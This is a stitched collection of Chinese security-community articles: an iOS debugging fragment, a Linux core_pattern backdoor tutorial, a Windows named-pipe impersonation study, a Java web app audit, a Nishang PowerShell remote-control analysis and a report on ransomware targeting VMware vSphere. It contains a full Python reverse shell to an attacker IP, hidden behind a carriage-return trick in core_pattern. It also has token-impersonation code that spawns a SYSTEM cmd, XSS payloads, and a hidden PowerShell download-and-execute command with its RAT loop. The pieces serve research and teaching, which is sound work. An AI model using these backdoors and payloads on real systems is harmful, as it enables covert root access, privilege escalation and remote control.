上面两条指令确定了调用的函数，调用完方法，如果一个方法有返回值，会更新在R0，大于一个返回值，就会通过栈来返回值。（意思是如果函数不止一个返回值，就会通过栈来返回）
NSString *string1 = @"test 1";
NSString *string2 = @"test 2";
(lldb) po string1
test 1
(lldb) p string1
(NSString *) $2 = 0x0000000100003af0 @"test 1"
(lldb) p string2
(NSString *) $3 = 0x0000000100003b10 @"test 2"
文章最后引用的一篇文章感觉特别有干货。
* <https://objccn.io/issue-19-2/>
* <https://www.zybuluo.com/qidiandasheng/note/349994>
* <https://www.jianshu.com/p/13e5774759a2>
* <http://bbs.iosre.com/t/ida--objc-msgsend/166>
* <http://cryptroix.com/2016/10/16/journey-to-the-stack/>
* <http://en.citizendium.org/wiki/Stack_frame>
* <http://3xp10it.cc/%E4%BA%8C%E8%BF%9B%E5%88%B6/2017/12/25/ida%E9%80%9A%E8%BF%87usb%E8%B0%83%E8%AF%95ios%E4%B8%8B%E7%9A%84app/>
* <http://tanqisen.github.io/blog/2014/06/06/how-to-prevent-app-crack/> | 社区文章 |
0x00 core_pattern 可用来隐藏系统后门的原理
这里所说的core_pattern 指的是：/proc/sys/kernel/core_pattern。
我们知道在Linux系统中，如果进程崩溃了，系统内核会捕获到进程崩溃信息，然后将进程的coredump
信息写入到文件中，这个文件名默认是core，但是也可以通过配置修改这个文件名。比如可以通过修改/proc/sys/kernel/core_pattern
文件的内容来指定。
Linux man 手册上关于core_pattern的描述：
自Linux 内核2.6.19 之后 core_pattern 不仅仅可以包含一个指定报文coredump信息的文件名，还可以是Linux
管道加一个用户空间的程序或者一个脚本
如果core_pattern 中第一个字符是 Linux管道符 |, 那么Linux
内核在捕获进程崩溃信息的时候，就会以root权限执行管道符后门的程序或者脚本，将进程崩溃信息传递给这个程序或者脚本，这就给我们提供了一个隐藏系统后门的方法，我们可以在管道符后面隐藏我们的后门脚本，以实现在特定条件下反弹shell
下面实例演示使用此方法隐藏后门
0x01. 实例演示
试验环境：
10.1.100.2 控制端 （centos7）
10.1.100.3 victim （kali2）
控制端执行监听，等待后门连接：
被控端（这里的被控端指的就是我们渗透成功的victim机器，root权限）执行以下配置：
1、准备后门脚本
事先准备好反弹shell后门脚本，保存为/tmp/.x.py ，这个脚本在进程崩溃的时候被内核执行（那就是以root权限执行了），脚本代码如下：
[code]#!/usr/bin/env python
# - _\- coding:utf8 -_ -
import os
import pty
import socket
lhost = "10.1.100.2" # XXX: CHANGEME
lport = 31337 # XXX: CHANGEME
def main():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((lhost, lport))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
os.putenv("HISTFILE",'/dev/null')
pty.spawn("/bin/bash")
os.remove('/tmp/x.py') # 销毁自身
s.close()
if **name** == " **main** ":
main()[/code]
非常简单的一段py脚本， 可以用来反弹一个shell
然后执行以下命令，给脚本赋予执行权限
chmod 755 /tmp/x.py
1. 修改core_pattern的内容
然后再修改/proc/sys/kernel/core_pattern的内容，执行如下命令：
echo -e "|/tmp/.x.py \rcore " > /proc/sys/kernel/core_pattern
注： core 后面有若干空格，不可省略 （多余的空格是为了在显示的时候遮盖前面的内容）
我们看一下此刻/proc/sys/kernel/core_pattern 中的内容
用cat命令查看
只显示 'core ', 而|/tmp/x.py 却不见了，这是为何？
这是因为 \r （在Linux系统中意为：将光标移动至行首，却不换行），终端在显示的时候core 覆盖了 |/tmp/.x.py
的显示，给人造成一种迷惑，以达到隐藏|/tmp/.x.py 的目的
3、演示程序崩溃，触发后门执行
接下来就是触发系统程序崩溃了，为了演示， 我写了一段含有错误的代码（实际环境上可能要等待某个进程崩溃）
[code]#include <stdio.h>
int main(void)
{
_((int_ )0) = 0;
int _a = NULL;
_a = 0x1;
return 0;
}[/code]
执行以下命令编译：
增加权限 chmod 755 a.out
然后执行./a.out，使程序崩溃 (看到 core dumped 即表示程序已经崩溃，测试的时候需要适当设置ulimit的值)
然后我们的监听端就已经获取到了系统shell
0x02. 总结
本文旨在提供一种思路分享，希望大家多提意见改进 | 社区文章 |
# Windows 命名管道研究初探
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
Industrial frame with yellow pipelines and other objects against the white
brick wall background. Vector illustration
隶属于 360 公司信息安全中心，我们深谙“未知攻，焉知防”，团队成员专注于各类漏洞利用研究，在红蓝对抗、区块链安全、代码审计拥有多年资深经验。
author：xianyu@360RedTeam
## 序
本文是自己在windows安全方向从零开始学习windows命名管道的过程中记录的一个简单的学习过程，主要着重于基础，从如何查看，访问，创建命名管道，再从命名管道的本身一些特性触发，还原一些命名管道在实际应用中的效果，并且去排除一些学习过程中踩到的坑和雷，为后面的研究铺一下道路。
## 命名管道定义及其特点
命名管道是一个具有名称，可以单向或双面在一个服务器和一个或多个客户端之间进行通讯的管道。命名管道的所有实例拥有相同的名称，但是每个实例都有其自己的缓冲区和句柄，用来为不同客户端通许提供独立的管道。使用实例可使多个管道客户端同时使用相同的命名管道。
1. 命名管道的名称在本系统中是唯一的。
2. 命名管道可以被任意符合权限要求的进程访问。
3. 命名管道只能在本地创建。
4. 命名管道的客户端可以是本地进程（本地访问：\\.\pipe\PipeName）或者是远程进程（访问远程：\ServerName\pipe\PipeName）。
5. 命名管道使用比匿名管道灵活，服务端、客户端可以是任意进程，匿名管道一般情况下用于父子进程通讯。
## 命名管道基础
### 列出当前计算机上的所有命名管道：
通过powershell： V3以下版本powershell
[System.IO.Directory]::GetFiles("\\.\\pipe\\")
V3以上
Get-ChildItem \\.\pipe\
通过Process Explorer的Find-Find Handle or DLL功能查找名为\Device\NamedPipe
通过Sysinternals工具包种的pipelist.exe
通过chrome地址栏输入file://.//pipe//
通过C#
String[] listOfPipes = System.IO.Directory.GetFiles(@"\\.\pipe\");
### 创建命名管道
代码参考 https://github.com/xpn/getsystem-offline https://github.com/decoder-it/pipeserverimpersonate
创建命名管道都存在多个重载，在创建命名管道的时候可以通过不同参数具体指定所需要的权限与功能。
Powershell
$PipeSecurity = New-Object System.IO.Pipes.PipeSecurity
$AccessRule = New-Object System.IO.Pipes.PipeAccessRule( "Everyone", "ReadWrite", "Allow" )
$PipeSecurity.AddAccessRule($AccessRule) //设置权限
$pipe = New-Object System.IO.Pipes.NamedPipeServerStream($pipename,"InOut",10, "Byte", "None", 1024, 1024, $PipeSecurity)
//创建命名管道
$pipe.WaitForConnection()
$pipeReader = new-object System.IO.StreamReader($pipe)
$Null = $pipereader.ReadToEnd() //读取数据
C++
SECURITY_ATTRIBUTES sa ={0};
SECURITY_DESCRIPTOR sd={0};
InitializeSecurityDescriptor( &sd,SECURITY_DESCRIPTOR_REVISION);
SetSecurityDescriptorDacl(&sd,TRUE,NULL,FALSE);
sa.bInheritHandle =false;
sa.lpSecurityDescriptor =&sd;
sa.nLength =sizeof(sa);
//设置安全描述符为任意用户均可访问
hPipe = CreateNamedPipe(TEXT("\\\\.\\pipe\\Pipe"),
PIPE_ACCESS_DUPLEX,
PIPE_TYPE_BYTE | PIPE_READMODE_BYTE | PIPE_WAIT, // FILE_FLAG_FIRST_PIPE_INSTANCE is not needed but forces CreateNamedPipe(..) to fail if the pipe already exists...
1,
1024 * 16,
1024 * 16,
NMPWAIT_USE_DEFAULT_WAIT,
&sa);
while (hPipe != INVALID_HANDLE_VALUE)
{
if (ConnectNamedPipe(hPipe, NULL) != FALSE)
{
....
}
DisconnectNamedPipe(hPipe);
}
C#
var server = new NamedPipeServerStream("PipesOfPiece");
server.WaitForConnection();
while (true)
{
...
}
### 访问命名管道
可以通过命令行利用重定向符号直接把内容写入到命名管道中 echo “test” > \\\\.\pipe\test
通过C#类NamedPipeClientStream实现访问命名管道
NamedPipeClientStream pipeClient =new NamedPipeClientStream(".", "testpipe", PipeDirection.In))
//System.Security.Principal.TokenImpersonationLevel.Delegation添加此参数可以允许服务端模拟客户端
powershell同样调用NamedPipeClientStream实现访问命名管道 C++访问命名管道
HANDLE hPipe = CreateFile(TEXT("\\\\.\\pipe\\test"),
GENERIC_READ | GENERIC_WRITE,
0,
NULL,
OPEN_EXISTING,
0,
NULL);
if (hPipe != INVALID_HANDLE_VALUE)
{
....
CloseHandle(hPipe);
}
### 设置服务端模拟客户端
windows对于模拟功能是有严格管理的，以下摘自《深入理解windows操作系统》
为了防止滥用模仿机制，Windows不允许服务器在没有得到客户同意的情况下执行模仿。客户进程在连接到服务器的时候可以指定一个SQOS（security
quality of
service），以此限制服务器进程可以执行的模拟等级。通过C++代码访问命名管道一般采用CreateFile函数，可以通过指定SECURITYANONYMOUS、SECURITYIDENTIFICATION、SECURITYIMPERSONATION、SECURITYDELEGATION作为标记。
默认调用CreateFile函数访问命名管道时采用的权限就是IMPERSONATION级别，只能用于模拟本地权限，无法应用域远程访问。其中权限最高的级别为DELEGATION，当客户端模拟级别设置为此级别时，服务端可以任意模拟客户端权限，包括本地和远程。
但是DELEGATION权限的使用对客户端和服务端都是有要求的。
测试正常的模拟 默认情况下只有服务用户具有模拟客户端的功能，所以测试前需要为测试用户启用以下权限
默认情况下 echo 123 > \\\192.168.1.x\pipe\test233 就允许服务端模拟客户端 C++ demo
if (ImpersonateNamedPipeClient(hPipe) == 0) {
printf("[!] Error impersonating client %d\n", GetLastError());
return 0;
}
if (!OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, FALSE, &token)) {
printf("[!] Error opening thread token %d\n", GetLastError());
return 0;
}
if (!DuplicateTokenEx(token, TOKEN_ALL_ACCESS, NULL, SecurityDelegation, TokenPrimary, &newtoken)) {
printf("[!] Error duplicating thread token %d\n", GetLastError());
return 0;
}
printf("[*] Impersonated SYSTEM user successfully\n");
if (!CreateProcessWithTokenW(newtoken, LOGON_NETCREDENTIALS_ONLY, L"", L"C:\\windows\\system32\\cmd.exe", NULL, NULL, NULL, (LPSTARTUPINFOW)&si, &pi)) {
printf("[!] CreateProcessWithToken failed (%d).\n", GetLastError());
return 0;
}
powershell
$pipe.WaitForConnection()
$PipeHandle = $pipe.SafePipeHandle.DangerousGetHandle()
$Out = $ImpersonateNamedPipeClient.Invoke([Int]$PipeHandle)
$user=[System.Security.Principal.WindowsIdentity]::GetCurrent().Name
$ThreadHandle = $GetCurrentThread.Invoke() //获取当前进程句柄
[IntPtr]$ThreadToken = [IntPtr]::Zero
[Bool]$Result = $OpenThreadToken.Invoke($ThreadHandle, $Win32Constants.TOKEN_ALL_ACCESS, $true, [Ref]$ThreadToken) //从当前进程中取出token
$RetVal = $RevertToSelf.Invoke()
$pipe.close()
$StartupInfoSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$STARTUPINFO)
[IntPtr]$StartupInfoPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($StartupInfoSize)
$memset.Invoke($StartupInfoPtr, 0, $StartupInfoSize) | Out-Null
[System.Runtime.InteropServices.Marshal]::WriteInt32($StartupInfoPtr, $StartupInfoSize)
$ProcessInfoSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$PROCESS_INFORMATION)
[IntPtr]$ProcessInfoPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($ProcessInfoSize)
$memset.Invoke($ProcessInfoPtr, 0, $ProcessInfoSize) | Out-Null
$processname="c:\windows\system32\cmd.exe"
$ProcessNamePtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalUni($processname)
$ProcessArgsPtr = [IntPtr]::Zero
$Success = $CreateProcessWithTokenW.Invoke($ThreadToken, 0x0,$ProcessNamePtr, $ProcessArgsPtr, 0, [IntPtr]::Zero, [IntPtr]::Zero, $StartupInfoPtr, $ProcessInfoPtr) //用从进程中获取的token创建新的进程
模拟本地用户从administrator到system
模拟远程用户（域管） 如果我们使用默认IMPERSONATION权限进行远程认证会出现问题
#### 默认客户端权限模拟产生的用户进程无法用于任何远程认证
模拟客户端产生进程，是通过提取当前进程token产生的，而token中只存在sid和acl等信息，其中不包含认证所需要的密码、hash，所以只能用于本地权限认证。
如果用于远程认证就会出现权限鉴定出错的情况 失败的
正常的hash传递认证过程
### SECURITY_DELEGATION权限问题
https://docs.microsoft.com/en-us/windows/win32/com/impersonation-levels
如果客户端采用SECURITYDELEGATION权限连接服务端，则允许服务端任意模拟客户端权限，包括本地和远程认证，但是根据官网文档，服务端要接受SECURITYDELEGATION权限的委派，服务端需要满足以下条件
其实总结下来就是两条：
客户端账户不能被设置为无法委派
作为服务端的用户必须设置无约束委派 这个地方存在一个表述不清楚的地方，英文是写的server
account，但在实际测试中，如果要实现命名管道用户委派级别的模拟，需要将启用命名管道的计算机名用户设置为无约束委派，用来启动命名管道的用户并不需要无约束委派权限。
另外在设置命名管道委派权限的模拟的时候还有一点需要注意，根据文档中所说NTLM是不支持跨计算机的委派的，只有kerberos才能实现跨计算机的委派，所以在客户端访问服务端的时候需要采用计算机名访问而不是IP
所以我们可以自行编写支持DELEGATION权限的客户端来实现完整权限的委派模拟
System.IO.Pipes.NamedPipeClientStream client = new System.IO.Pipes.NamedPipeClientStream(
"WIN-46OU1O8BCNG",
pipe,
System.IO.Pipes.PipeDirection.Out,
System.IO.Pipes.PipeOptions.None,
System.Security.Principal.TokenImpersonationLevel.Delegation
);
通过此客户端就可以实现委派级别的模拟
其他坑点
在利用token创建新进程使用的CreateProcessWithTokenW函数是存在一些问题的，如果创建的任务有gui的要求，窗口显示会出现问题，若是运行的程序不考虑窗口问题，就可以忽略此坑。如果模拟的用户对当前桌面的权限存在异常的话需要特别指定lpStartupInfo参数，为模拟的用户重新设置当前桌面环境的ACE
修改部分的代码可以参考https://docs.microsoft.com/zh-tw/previous-versions/aa379608(v=vs.85)
## 命名管道的利用
利用命名管道的模拟客户端功能来获取system权限，msf的getsystem功能就是通过此方法实现
作为C2信道，通讯执行命令
作为本地权限提升漏洞的利用链中的一步
## 参考资料
https://decoder.cloud/2019/03/06/windows-named-pipes-impersonation/
http://www.blakewatts.com/namedpipepaper.html | 社区文章 |
# 项目地址
<https://github.com/wuxinyu3366/smbms>
# 代码审计
这是学狂神java的一个项目，也是边学java边学代码审计吧
项目功能点也比较少，而且sql语句采用了预编译，但是还是有些漏洞
## Referer处存在xss
### 漏洞分析
全局搜索
<%=
发现在head.jsp处存在
这里很明显Referer处可控，会导致xss。所以在平常渗透测试中也可以fuzz这些地方
### 漏洞复现
后台中很多都调用了这个head.jsp, 多处存在xss
找个点测试一下
"><ScRiPt>alert(1)</sCrIpT>
执行成功
## 第二处xss
### 漏洞分析
全局搜索 getParameter
queryProductName为getParameter 获取的参数
BillServlet注册servlet的url路径为/jsp/bill.do
在billlist.jsp中调用的方法有/jsp/bill.do
然后打印到如下的 jsp 代码中
### 漏洞复现
http://localhost:8080/jsp/bill.do?method=query&queryProductName=%22%3E%3CScRiPt%3Ealert%281%29%3C%2FsCrIpT%3E&queryProviderId=0&queryIsPayment=0
## 第三处xss
### 漏洞分析
全局搜索 getParameter
queryProCode、queryProName为getParameter 获取的参数
ProviderServlet注册servlet的url路径为/jsp/provider.do
在providerlist.jsp中调用的方法有/jsp/provider.do
然后打印到如下的 jsp 代码中
### 漏洞复现
http://localhost:8080/jsp/provider.do?method=query&queryProCode=%22%3E%3CScRiPt%3Ealert%281%29%3C%2FsCrIpT%3E&queryProName=
## 第四处xss
### 漏洞分析
全局搜索 getParameter
queryname为getParameter 获取的参数
UserServlet注册servlet的url路径为/jsp/user.do
在providerlist.jsp中调用的方法有/jsp/provider.do
然后打印到如下的 jsp 代码中
### 漏洞复现
http://localhost:8080/jsp/user.do?method=query&queryname=%22%3E%3CScRiPt%3Ealert%281%29%3C%2FsCrIpT%3E&queryUserRole=0&pageIndex=1
## 存储型xss
### 漏洞分析
全局搜索数据库的插入语句(关键词:insert,save,update)，然后全局搜索该方法在哪里被调用，一层层的跟踪。直到
getParamter()方法获取请求参数的地方停止。
从getParamter 关键词开始 ，跟踪请求参数，直到插入数据库的语句，如果中间没有过滤参数，则存在存储型 XSS
### 漏洞复现
保存之后，再点击供应商的详情直接触发了
## 存储型xss之长度绕过
这里肯定会奇怪我为什么没有插入到供应商编码或者供应商名称这些地方。这就跟数据库有关系了，虽然中间没有过滤参数，但是数据库有的地方定义的数字类型，字符串是不行的。
还有就是数据库中定义了字符串的长度为20，这就要使xss的语句小于20，但是常规的都是比它大的，这里就要绕过了。
参考这里
<script/src=//⑭.₨>，只有18个字符。其中₨代表印度卢比，这是1个字符，而不是2个字符，而⑭也是类似的效果。下面测试一下效果
每次刷新查询供应商界面的时候都会触发xss
## 任意密码修改
### 漏洞分析
后台密码修改处存在一个输入旧密码就能判断是否正确的功能
效果如下
实现这个是在js中利用了一段ajax去处理数据
然后旧密码，新密码，确认新密码这三段都为true，就可以执行修改密码的方法
既然这里前端认证，那这个旧密码完全就可以不用填写，直接写新密码就行了
### 漏洞复现
直接构造修改密码的数据包
发现密码修改成功 | 社区文章 |
# Powershell 进阶——基于Powershell的远控分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
我是掌控安全学院的魔术手，这篇文章是对Powershell的远控进行分析。
之前写过一篇文章《badusb-轻松绕过防护拿下小姐姐的电脑》，其实那篇文章本打算写三个要点：思路、绕过和远控分析，但是因为篇幅太长，所以把远控分析放到这篇文章。
## 远控演示
先来个比较简单的远控，来自[Nishang](https://github.com/zkaq-mss/nishang)的反弹shell：Invoke-PoshRatHttp.ps1。这里为了演示方便，我用了两台win10的虚拟机，分别作为攻击机和靶机。
准备工作：
1. 两台WIN10的虚拟机(Nishang需要的环境是Powershell 3.0以上)。
攻击机：mss-192.168.1.237
靶机：target-192.168.1.48
2. 攻击机下载Nishang，Nishang是一款基于Powershell的渗透测试工具，里面集成了很多功能，比如下载、键盘记录、远控等脚本，我们这里只需要用他的基于HTTP的反弹shell：Invoke-PoshRatHttp.ps1，只下载这一个也行。
准备工作完成后，攻击机以管理员身份打开Powershell,输入：`. C:nishang-masterShellsInvoke-PoshRatHttp.ps1`。
注意 `.` 和后面的路径之间有个空格，`C:nishang-masterShellsInvoke-PoshRatHttp.ps1`是下载后脚本所在的路径。
输入完成后会爆出提示,输入`R`继续。
PS C:Windowssystem32> . C:nishang-masterShellsInvoke-PoshRatHttp.ps1
安全警告
请只运行你信任的脚本。虽然来自 Internet 的脚本会有一定的用处，但此脚本可能会损坏你的计算机。如果你信任此脚本，请使用
Unblock-File cmdlet 允许运行该脚本，而不显示此警告消息。是否要运行 C:nishang-masterShellsInvoke-PoshRatHttp.ps1?
[D] 不运行(D) [R] 运行一次(R) [S] 暂停(S) [?] 帮助 (默认值为“D”):
然后输入`Invoke-PoshRatHttp 192.168.1.237 3333`。
注意：`192.168.1.237`是攻击机的IP，`3333`是侦听的端口。输入完成后会显示下列内容：
PS C:Windowssystem32> Invoke-PoshRatHttp 192.168.1.237 3333
Listening on 192.168.1.237:3333
Run the following command on the target:
powershell.exe -WindowStyle hidden -ExecutionPolicy Bypass -nologo -noprofile -c IEX ((New-Object Net.WebClient).DownloadString('http://192.168.1.237:3333/connect'))
接下来只需将`powershell.exe -WindowStyle hidden -ExecutionPolicy Bypass -nologo
-noprofile -c IEX ((New-Object
Net.WebClient).DownloadString('http://192.168.1.237:3333/connect'))`在靶机上运行即可。注意，建议将这串代码先放到编辑器里把一些回车去掉，否则容易出问题。
靶机执行后会得到如下回显：
PS 192.168.1.48:50330>:
输入`exit`退出。
整体流程如图：
## 远控分析
远控分析分成两个部分：
* 第一部分是建立连接，包括生成payload和靶机执行后建立连接的过程。
* 第二部分是命令执行，是你攻击机执行指令并返回的过程。
### 建立连接
首先通过wireshark看看整个过程发生了什么。
打开wireshark监听，因为这是一个基于HTTP的反弹shell，所以只需要抓取两台机器通信中的HTTP包，抓取结果如下图。
从图中可以看出，靶机执行payload之后，靶机向攻击机发送了第一次请求，追踪http流后发现内容如图:
从图中分析可知，靶机发出HTTP请求`http://192.168.1.237:3333/connect`,攻击机返回了下列内容：
$s = "http://192.168.1.237:3333/rat"
$w = New-Object Net.WebClient
while($true)
{
[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}
$r = $w.DownloadString($s)
while($r)
{
$o = invoke-expression $r | out-string
$w.UploadString($s, $o)
break
}
}
这个内容就是远控的被控端的内容。
先对这个过程进行分析：
1. 攻击机执行`Invoke-PoshRatHttp.ps1`脚本，打开该脚本，在第35-37行定义了两个位置参数`IPAddress`和`port`,也就是我们执行时输入的ip和侦听的端口。
2. 在第66生成了`System.Net.HttpListener`,这是一个基于http的侦听器；第71行创建了一个防火墙规则，第70行是为了防止该规则已存在，所以先删除它，防止出现问题；第73行表示侦听器开始工作；第74-76行是输出提醒内容和payload。
3. 执行payload：powershell.exe -WindowStyle hidden -ExecutionPolicy Bypass -nologo -noprofile -c IEX ((New-Object Net.WebClient).DownloadString(‘<http://192.168.1.237:3333/connect>‘))
这个payload的大意就是模拟成一个web客户端去下载文件`http://192.168.1.237:3333/connect`,然后执行这个文件。这就是监听看到的第一个数据包，由靶机发起。
4. 攻击机收到请求后，对请求的内容进行分析，在脚本的第85行有一个判断，`if ($request.Url -match '/connect$' -and ($request.HttpMethod -eq "GET"))`意思是如果收到一个url里有`connect`的GET请求，就执行下面的指令，也就是将被控端发送个靶机。这是监听看到的第二个包，由攻击机发送给靶机。
5. 靶机收到数据包后，执行其功能:第91行生成一个web客户端，然后通过这个客户端去请求`http://192.168.1.237:3333/rat`的内容。这就是图中的第三个数据包，由靶机发送给攻击机。
### 命令执行
攻击机执行`whoami`,使用wireshark监听，结果如图:
追踪http流结果如图：
从中可以看出，攻击机将指令`whoami`发送给靶机，靶机执行后发送给攻击机。
接下来对这个过程进行分析：
6. 攻击机输入指令`whoami`,脚本将指令传递给 `$message`。
7. 因为第一步的第三个包是请求`/rat`,根据脚本的第109行可知，接下来将执行110-120行的内容，其中第114行是对输入的指令做出分析，如果输入的指令是`exit`,那么将退出侦听。
如果输入的指令不是`exit`,那么程序继续执行，在第160-167行，将指令处理后发送给靶机。
这就是第一个数据包。
8. 靶机收到后，将指令`whoami`传递给变量`$r`,然后由`invoke-expression`执行指令，将结果传递给变量`$o`然后上传给靶机，靶机处理后显示出来。
上面就是对整个过程的分析，最后放出一张完整的图。 | 社区文章 |
**作者：启明星辰ADLab
原文链接：<https://mp.weixin.qq.com/s/ilColY9FgOrKAzKepmTL2A>**
# 1\. 概述
《中华人民共和国数据安全法》于今日起（2021年9月1日）正式施行，这是一部数据领域的基础性法律，也是国家安全领域的一部重要法律。数字化改革推动着国家生产模式的变革，随着经济数字化、政府数字化、企业数字化的建设，数据已经成为我国政府和企业最为核心的资产之一。而针对这些核心数据资产的网络攻击却逐年递增，除了越来越频繁的数据泄露安全事件外，日益猖獗的勒索攻击是数据安全面临的最为严重且危险的威胁，其具有破坏性大、匿名性高、恢复难等特点。一旦数据资产遭到攻击，除了大量宝贵的数据被破坏外，还会导致工厂停工停产（如：富士康勒索攻击导致停工的事件），甚至会威胁到国家安全（如：燃油管道公司Colonial
Pipeline勒索攻击事件）。
目前勒索组织普遍利用漏洞或者人工渗透的手段进入企业/组织内部系统，并在其中植入勒索病毒，并利用勒索病毒对其企业的重要数据资产进行加密然后实施赎金勒索。仅今年以来，就出现了多起重大的勒索病毒攻击事件。5月份，美国最大的燃油管道公司Colonial
Pipeline遭遇勒索病毒攻击，从而导致美国东部17个州和首都所在的华盛顿特区宣布进入紧急状态；
7月份，美国IT管理软件制造商Kaseya受到供应链攻击，黑客利用其软件中存在的漏洞向其客户发送勒索软件，超过1500家企业受到勒索攻击影响。
随着市场和技术的变革，勒索组织也在不断寻求新的攻击目标和攻击手段以获取更丰厚的赎金。据调查发现，自去年开始，勒索组织将目标扩展到了VMware的企业产品vSphere中并且对相应勒索软件进行针对性升级以适配针对VMware虚拟机的勒索。到目前为止，多家使用vSphere的企业已经遭到勒索，由于使用vSphere的企业需要在VMware
ESX/ESXi主机上部署多台虚拟机以满足日常的服务器或数据库需求，勒索组织只要设法登录到企业的VMware
ESX/ESXi主机，就能部署勒索软件对主机上的多台虚拟机源文件进行加密实施勒索。与以往传统的勒索攻击不同，以往的勒索攻击仅仅是针对某台或数台服务器中的部分重要数据加密，而系统依旧可以正常运行；而针对vSphere的勒索攻击可直接加密VMware
ESX/ESXi主机中的所有的虚拟机源文件，这将直接导致数台工作服务器或数据库服务器无法正常运行，使企业/组织的主要业务中断甚至系统瘫痪，这对企业/组织来说将是致命的打击。
勒索攻击已经成为各大企业/组织的重要网络安全威胁来源，这种新流行的针对vSphere的勒索攻击将带来比以往的勒索攻击更大的威胁。本文对“针对VMware
vSphere的勒索攻击”进行了全面地分析，通过结合技术背景和相关事件活动分析了勒索组织将攻击目标扩展到VMware
vSphere的原因，并且根据相关攻击样本的分析揭露了此类勒索攻击的勒索流程，同时根据相关材料为广大企业/组织提供了相关的防御建议。
# 2\. 攻击目标：vSphere
VMware
vSphere（简称vSphere）是VMware旗下的一整套云计算基础架构虚拟化平台，自发布更新以来在全球已经拥有超过250000客户，其客户包括政府、军队、医疗、能源、交通、教育等在内的基础设施领域，如图1所示；同时，谷歌云、阿里云、亚马逊云等云服务提供厂商均对客户提供完整的vSphere虚拟化服务，相关市场也同样庞大，如图2所示。拥有如此庞大的市场，vSphere被勒索组织盯上也不足为奇，但是其客户几乎涵盖所有领域，一旦产品出现漏洞被攻击者利用导致主机被勒索病毒攻击，不仅将造成财产损失，更有可能直接威胁国家安全。
图1.vSphere的客户领域分布
图2.云服务商提供VMware服务示例
VMware
ESX/ESXi（简称ESX/ESXi）是vSphere的核心组件之一。在vSphere中，ESX/ESXi是一个虚拟机管理程序，用于创建、运行和管理虚拟机进程的中间软件层，运行在基础物理服务器和操作系统之间，并且允许多个操作系统共享主机硬件。其实，ESX/ESXi并不依赖其它操作系统，而是直接安装在物理设备上，然后以ISO
的形式提供服务；用户直接在ESX/ESXi中创建、运行和管理自己的虚拟机，如图3所示。
在实际场景中，企业为了提高性能和成本效益同时实现简化数据中心和方便大规模管理，往往会在一台ESX/ESXi服务器中部署数台甚至数十台虚拟机作为日常的工作服务主机或者数据库。所以，ESX/ESXi主机中会保存着与它在同一物理主机上的其他虚拟机的源文件以便对这些虚拟机进行管理，它就好比存放着数台服务器的机房，如果机房被人劫持，将对一个企业或组织造成难以估量的损失，这也是ESX/ESXi主机会成为勒索组织攻击目标的主要原因之一；另一个原因则是，ESX/ESXi上部署的服务器/数据库可能需要向客户提供服务，这也使得攻击者有机会直接从网络接触到VMware
ESX/ESXi主机，为攻击者提供了入侵的可能性。VMware公司当然也非常清楚其产品安全的重要性，vSphere 5.0
之前的版本中均采用ESX体系结构来实现对虚拟机的管理，ESX是依赖于Linux的控制台操作系统 (COS)
来实现可维护性和基于代理的合作伙伴集成的，而Linux作为开源系统，与Linux相关的漏洞在各大安全社区和地下产业中层出不穷，这将VMware
ESX架构置于一个高风险处境；为了提高基础架构的安全性，vSphere 5.0之后的版本中则采用了独立于操纵系统的新 ESXi
体系结构，并且在自己研发的核心 VMkernel 中实现了必备的虚拟机管理功能，这也就规避了与通用操作系统相关的安全漏洞引发的安全风险。
图3. VMware ESX/ ESXi 工作结构
VMware vCenter Server（简称vCenter
Server）是vSphere的另外一个核心组件，它是一个可以帮助用户管理多个VMware虚拟化平台的软件，需要单独安装在一台服务器中。在vSphere中，用户可以将多个ESX/ESXi
主机添加到vCenter Server 管理平台中，然后通过vCenter
Server管理ESX/ESXi主机和其中创建的所有虚拟机，整个工作结构如图4所示。虽然目前发现的勒索软件针对的是ESX/ESXi主机，但vCenter
Server可以直接管理ESX/ESXi多台主机。如果vCenter
Server存在漏洞被攻击者利用，那么就无疑将数台ESX/ESXi主机的大门向攻击者敞开，攻击者可以肆意在ESX/ESXi中部署勒索软件，其后果的严重性可想而知。
图4. vCenter Server 工作结构
# 3\. 针对vSphere勒索的相关活动
病毒勒索作为近年来流行的网络攻击手段，逐渐获得黑客团伙青睐，越来越多的勒索组织出现在大众视野，各大病毒勒索事件也逐渐占据了重大网络攻击事件的头版头条。近几年，勒索攻击事件层出不穷，对受害企业/组织造成重大财产损失，勒索病毒已经成为各政府部门、组织和企业需要面临的重要网络危害之一。自去年开始，勒索组织逐渐开始把目标延伸到VMware
vSphere平台上，通过对其中ESX/ESXi服务器上的数台虚拟机系统文件进行加密从而向受害组织/企业勒索高额的赎金。去年7月，Sprite
Spider勒索组织就开始对其勒索软件进行升级，使其在检测到ESXi主机后部署RansomEXX恶意程序试图窃取登录凭证向vCenter进行身份认证；同样对勒索软件进行ESX/ESXi针对性升级的还有勒索组织carbon
spider、BabukLocker、REvil和BlackMatter。自去年开始，针对VMware虚拟机的勒索病毒攻击事件也开始频发，去年11月巴西高等法院（STJ）受到大规模
RansomExx 勒索软件攻击，超过1000台虚拟机文件被加密，此次事件与7月份进行VMware ESX/ESXi软件升级的Sprite
Spider勒索组织是否有关联，我们无从得知；不仅国外用户遭遇了针对VMware
ESX/ESXi的勒索攻击，国内用户同样也遭遇了此类攻击，在今年3月，国内某公司运维人员发现公司内部VMware
ESXi主机上大量虚拟机文件被加密，我们整理的相关的事件时间线如图5。
图5. 勒索病毒针对vSphere相关事件时间线
